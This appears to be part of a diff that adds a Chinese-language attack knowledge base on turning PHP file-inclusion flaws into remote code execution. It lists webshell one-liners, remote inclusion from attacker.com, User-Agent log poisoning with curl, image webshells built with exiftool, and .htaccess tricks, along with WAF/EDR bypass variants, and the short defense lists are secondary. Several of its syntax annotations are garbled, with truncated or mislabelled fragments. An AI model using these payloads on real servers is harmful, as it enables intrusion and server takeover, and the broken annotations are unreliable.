+ _platform: linux_
968
+ ```
969
+ # 注入代码到环境变量
970
+ User-Agent: <?php system($_GET['cmd']);?>
971
+
972
+ # 包含环境变量文件
973
+ ?file=/proc/self/environ&cmd=whoami
974
+ ```
975
+ **语法解析:**
976
+ - `system()` — 系统命令执行 _function_
977
+
978
+ **4. PHP伪协议**
979
+ > PHP伪协议利用
980
+ ```
981
+ # php://input
982
+ ?file=php://input
983
+ POST: <?php system('whoami');?>
984
+
985
+ # data://协议
986
+ ?file=data://text/plain,<?php system('whoami');?>
987
+ ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
988
+ ```
989
+ **语法解析:**
990
+ - `system()` — 执行系统命令 _function_
991
+ - `php://input` — PHP原始输入流 _technique_
992
+
993
+ **5. 远程文件包含**
994
+ ```
995
+ # RFI直接包含远程Shell
996
+ ?file=http://attacker.com/shell.txt
997
+
998
+ # shell.txt内容
999
+ <?php system($_GET['cmd']);?>
1000
+ ```
1001
+ **语法解析:**
1002
+ - `system()` — 系统命令执行 _function_
1003
+
1004
+ **WAF/EDR 绕过变体:**
1005
+
1006
+ **编码绕过**
1007
+ > URL编码绕过
1008
+ ```
1009
+ ?file=%2fvar%2flog%2fapache2%2faccess.log
1010
+ URL编码路径
1011
+ ```
1012
+ **语法解析:**
1013
+ - `?file=%2fvar%2flog%2fapache2%2faccess.log
1014
+ URL编码路径` — 攻击载荷 _value_
1015
+
1016
+
1017
+ **概述:** 文件包含RCE将LFI/RFI漏洞升级为代码执行,通过包含日志文件、Session文件、/proc/self/environ、临时上传文件等方式注入并执行恶意PHP代码。
1018
+
1019
+ **漏洞原理:** 文件包含RCE的多种利用路径:1)日志投毒(User-Agent注入PHP代码→包含access.log) 2)Session文件包含(注入代码到Session→包含/tmp/sess_xxx) 3)/proc/self/environ中的User-Agent 4)PHP临时上传文件竞争条件。
1020
+
1021
+ **利用方法:** 完整利用流程:
1022
+ 1. 发现文件包含点
1023
+ 2. 注入恶意代码
1024
+ 3. 包含恶意文件
1025
+ 4. 执行系统命令
1026
+ 5. 获取Shell
1027
+
1028
+ **防御措施:** 防御措施:
1029
+ 1. 白名单验证文件路径
1030
+ 2. 禁用远程文件包含
1031
+ 3. 禁用PHP伪协议
1032
+ 4. 使用open_basedir限制
1033
+
1034
+ ---
1035
+
1036
+ ### 日志投毒RCE `rce-log-poison`
1037
+ _利用日志投毒实现RCE_
1038
+ 子类:**日志投毒** · tags: `rce` `log` `poison` `lfi`
1039
+
1040
+ **前置条件:**
1041
+ - 存在文件包含漏洞
1042
+ - 可读取日志文件
1043
+
1044
+ **攻击链:**
1045
+
1046
+ **1. Apache日志投毒**
1047
+ > Apache日志投毒
1048
+ _platform: linux_
1049
+ ```
1050
+ # 注入代码到访问日志
1051
+ curl -A "<?php system(\$_GET['cmd']);?>" http://target/
1052
+
1053
+ # 包含日志执行
1054
+ ?file=/var/log/apache2/access.log&cmd=whoami
1055
+ ?file=/var/log/httpd/access_log&cmd=whoami
1056
+ ```
1057
+ **语法解析:**
1058
+ - `/var/log/apache2/access.log` — Debian/Ubuntu日志路径 _path_
1059
+ - `/var/log/httpd/access_log` — CentOS/RHEL日志路径 _path_
1060
+
1061
+ **2. Nginx日志投毒**
1062
+ ```
1063
+ # 注入代码
1064
+ curl -A "<?php system(\$_GET['cmd']);?>" http://target/
1065
+
1066
+ # 包含日志
1067
+ ?file=/var/log/nginx/access.log&cmd=whoami
1068
+ ```
1069
+ **语法解析:**
1070
+ - `system()` — 系统命令执行 _function_
1071
+ - `curl` — HTTP请求工具 _command_
1072
+
1073
+ **WAF/EDR 绕过变体:**
1074
+
1075
+ **编码绕过**
1076
+ > 编码绕过
1077
+ ```
1078
+ 使用URL编码或Base64编码绕过关键字过滤
1079
+ ```
1080
+ **语法解析:**
1081
+ - `使用URL编码或Base64编码绕过关键字过滤` — 攻击载荷 _value_
1082
+
1083
+
1084
+ **概述:** 日志投毒RCE是最可靠的LFI→RCE升级路径之一:向Web服务器日志注入PHP代码(通过请求头),然后通过文件包含漏洞加载日志文件触发代码执行,适用于Apache/Nginx等主流Web服务器。
1085
+
1086
+ **漏洞原理:** 日志投毒的注入点:1)Apache access.log中的User-Agent/Referer字段 2)Nginx access.log 3)错误日志error.log(故意触发包含不存在文件的错误) 4)FTP日志(vsftpd) 5)SSH日志(/var/log/auth.log)中的用户名字段。
1087
+
1088
+ **利用方法:** 完整利用流程:
1089
+ 1. 发现文件包含漏洞
1090
+ 2. 确定日志文件路径
1091
+ 3. 注入恶意代码到日志
1092
+ 4. 包含日志文件
1093
+ 5. 执行命令获取Shell
1094
+
1095
+ **防御措施:** 防御措施:
1096
+ 1. 限制日志文件访问
1097
+ 2. 过滤日志中的特殊字符
1098
+ 3. 禁用文件包含
1099
+ 4. 使用open_basedir限制
1100
+
1101
+ ---
1102
+
1103
+ ### 图片马RCE `rce-image`
1104
+ _利用图片马实现RCE_
1105
+ 子类:**图片马** · tags: `rce` `image` `webshell` `upload`
1106
+
1107
+ **前置条件:**
1108
+ - 存在文件上传
1109
+ - 存在文件包含
1110
+
1111
+ **攻击链:**
1112
+
1113
+ **1. 制作图片马**
1114
+ > 制作图片马
1115
+ ```
1116
+ # Windows
1117
+ copy test.jpg/b + shell.php/a shell.jpg
1118
+
1119
+ # Linux
1120
+ cat test.jpg shell.php > shell.jpg
1121
+
1122
+ # 在图片末尾添加PHP代码
1123
+ echo "<?php @eval($_POST[cmd]);?>" >> test.jpg
1124
+ ```
1125
+ **语法解析:**
1126
+ - `copy test.jpg/b + shell.php/a` — Windows下将图片和PHP代码二进制合并 _command_
1127
+ - `cat test.jpg shell.php > shell.jpg` — Linux下拼接图片和PHP代码 _command_
1128
+ - `echo "<?php ...?>" >> test.jpg` — 在图片末尾追加PHP代码 _command_
1129
+
1130
+ **2. 图片马内容**
1131
+ > 图片马格式
1132
+ ```
1133
+ GIF89a
1134
+ <?php @eval($_POST[cmd]);?>
1135
+
1136
+ # 或使用Exif注释
1137
+ exiftool -Comment="<?php @eval($_POST[cmd]);?>" test.jpg
1138
+ ```
1139
+ **语法解析:**
1140
+ - `GIF89a` — GIF文件头魔术字节,用于通过文件头检测 _command_
1141
+ - `<?php @eval($_POST[cmd]);?>` — 一句话木马,@抑制错误信息 _value_
1142
+ - `exiftool -Comment=` — 将PHP代码写入图片EXIF注释字段,更隐蔽 _command_
1143
+
1144
+ **3. 利用文件包含执行**
1145
+ > 文件包含执行
1146
+ ```
1147
+ # 配合文件包含漏洞
1148
+ ?file=upload/shell.jpg
1149
+ POST: cmd=system('whoami');
1150
+
1151
+ # 配合phar://
1152
+ ?file=phar://upload/shell.jpg
1153
+ ```
1154
+ **语法解析:**
1155
+ - `system()` — 系统命令执行 _function_
1156
+
1157
+ **4. 配合.htaccess**
1158
+ > 配合.htaccess执行
1159
+ _platform: linux_
1160
+ ```
1161
+ # 上传.htaccess
1162
+ AddType application/x-httpd-php .jpg
1163
+
1164
+ # 直接访问图片执行
1165
+ http://target/upload/shell.jpg
1166
+ ```
1167
+ **语法解析:**
1168
+ - `AddType application/x-httpd-php .jpg` — Apache配置将.jpg按PHP解析 _command_
1169
+ - `http://target/upload/shell.jpg` — 直接访问图片触发PHP执行,无需文件包含 _value_
1170
+
1171
+ **WAF/EDR 绕过变体:**
1172
+
1173
+ **文件头伪装**
1174
+ > 文件头伪装
1175
+ ```
1176
+ 使用真实图片文件头
1177
+ 确保图片可正常预览
1178
+ ```
1179
+ **语法解析:**
1180
+ - `真实图片文件头` — 使用完整的图片文件头(如JPEG的FF D8 FF E0) _command_
1181
+ - `可正常预览` — 确保图片能正常打开显示,避免文件完整性检查失败 _parameter_
1182
+
1183
+
1184
+ **概述:** 图片RCE利用图片处理库(ImageMagick/GD/Pillow)的漏洞或特性在服务器处理上传图片时执行代码。ImageMagick的"ImageTragick"(CVE-2016-3714)是最著名的案例。
1185
+
1186
+ **漏洞原理:** ImageMagick利用delegate(委托处理器)执行外部命令:MVG格式中的push graphic-context指令、SVG中的xlink:href外部引用、ephemeral协议删除文件、MSL格式写入文件等。GD库的特定版本也存在堆溢出等漏洞。
1187
+
1188
+ **利用方法:** 完整利用流程:
1189
+ 1. 制作图片马
1190
+ 2. 上传图片马
1191
+ 3. 找到文件包含点
1192
+ 4. 包含图片马执行代码
1193
+ 5. 获取Shell
1194
+
1195
+ **防御措施:** 防御措施:
1196
+ 1. 检查文件完整内容
1197
+ 2. 重绘图片去除恶意代码
1198
+ 3. 禁用文件包含
1199
+ 4. 存储到非Web目录
1200
+
1201
+ ---
1202
+
1203
+ ### .htaccess利用 `rce-htaccess`
1204
+ _利用.htaccess文件实现RCE_
1205
+ 子类:**.htaccess** · tags: `rce` `htaccess` `apache` `upload`
1206
+
1207
+ **前置条件:**
1208
+ - Apache服务器
1209
+ - 可上传.htaccess
1210
+
1211
+ **攻击链:**
1212
+
1213
+ **1. 解析其他扩展名**
1214
+ > 修改文件类型解析
1215
+ _platform: linux_
1216
+ ```
1217
+ # 让.jpg文件作为PHP执行
1218
+ AddType application/x-httpd-php .jpg
1219
+ AddHandler php-script .jpg
1220
+
1221
+ # 让.txt文件作为PHP执行
1222
+ AddType application/x-httpd-php .txt
1223
+ ```
1224
+ **语法解析:**
1225
+ - `AddType` — 设置MIME类型 _value_
1226
+ - `AddHandler` — 设置处理程序 _value_
1227
+
1228
+ **2. 自动包含**
1229
+ > 自动包含文件
1230
+ _platform: linux_
1231
+ ```
1232
+ # 自动在每个文件前包含
1233
+ php_value auto_prepend_file /var/www/html/shell.php
1234
+
1235
+ # 自动在每个文件后包含
1236
+ php_value auto_append_file /var/www/html/shell.php
1237
+ ```
1238
+ **语法解析:**
1239
+ - `#` — 命令/载荷起始 _command_
1240
+ - ` 自动在每个文件前包含
1241
+ php_value auto_prepend_file /var/www/html/shell.php
1242
+
1243
+ # 自动在每个文件后包含
1244
+ php_value auto_append_file /var/www/html/shell.php` — 参数与载荷内容 _value_
1245
+
1246
+ **3. 伪静态RCE**
1247
+ > 伪静态配置
1248
+ _platform: linux_
1249
+ ```
1250
+ # 利用mod_rewrite
1251
+ RewriteEngine on
1252
+ RewriteRule ^(.*)$ $1 [L]
1253
+
1254
+ # 更危险的配置
1255
+ SetHandler application/x-httpd-php
1256
+ ```
1257
+ **语法解析:**
1258
+ - `#` — 命令/载荷起始 _command_
1259
+ - ` 利用mod_rewrite
1260
+ RewriteEngine on
1261
+ RewriteRule ^(.*)$ $1 [L]
1262
+
1263
+ # 更危险的配置
1264
+ SetHandler application/x-httpd-php` — 参数与载荷内容 _value_
1265
+
1266
+ **4. 错误页面包含**
1267
+ > 错误页面利用
1268
+ _platform: linux_
1269
+ ```
1270
+ # 自定义错误页面
1271
+ ErrorDocument 404 /shell.php
1272
+ ErrorDocument 500 /shell.php
1273
+ ```
1274
+ **语法解析:**
1275
+ - `#` — 命令/载荷起始 _command_
1276
+ - ` 自定义错误页面
1277
+ ErrorDocument 404 /shell.php
1278
+ ErrorDocument 500 /shell.php` — 参数与载荷内容 _value_
1279
+
1280
+ **5. 文件包含绕过**
1281
+ > PHP配置修改
1282
+ _platform: linux_
1283
+ ```
1284
+ # 设置include路径
1285
+ php_value include_path "/var/www/html/uploads"
1286
+
1287
+ # 禁用安全限制
1288
+ php_flag safe_mode off
1289
+ php_flag display_errors on
1290
+ ```
1291
+ **语法解析:**
1292
+ - `# 设置include路径
1293
+ php_value include_path "/var/www/html/uploads"
1294
+
1295
+ # 禁用安全限制
1296
+ php_f` — 攻击载荷 _value_
1297
+
1298
+ **WAF/EDR 绕过变体:**
1299
+
1300
+ **换行绕过**
1301
+ > 换行绕过
1302
+ _platform: linux_
1303
+ ```
1304
+ 使用换行符分隔配置
1305
+ 绕过单行检测
1306
+ ```
1307
+ **语法解析:**
1308
+ - `使用换行符分隔配置
1309
+ 绕过单行检测` — 攻击载荷 _value_
1310
+
1311
+
1312
+ **概述:** .htaccess文件RCE通过上传或修改Apache的.htaccess配置文件,改变服务器对特定文件类型的处理方式(如将.jpg文件作为PHP解析),或直接通过php_value注入PHP代码。
1313
+
1314
+ **漏洞原理:** .htaccess RCE方式:1)AddType application/x-httpd-php .jpg使图片文件被当作PHP解析 2)php_value auto_prepend_file配合php://input注入代码 3)SetHandler将目录所有文件作为PHP处理 4)php_flag engine配合.user.ini。
1315
+
1316
+ **利用方法:** 完整利用流程:
1317
+ 1. 上传恶意.htaccess
1318
+ 2. 配置文件类型解析
1319
+ 3. 上传伪装的WebShell
1320
+ 4. 访问执行
1321
+ 5. 获取服务器权限
1322
+
1323
+ **防御措施:** 防御措施:
1324
+ 1. 禁止上传.htaccess
1325
+ 2. 禁用AllowOverride
1326
+ 3. 白名单验证文件名
1327
+ 4. 重命名上传文件
1328
+
1329
+ ---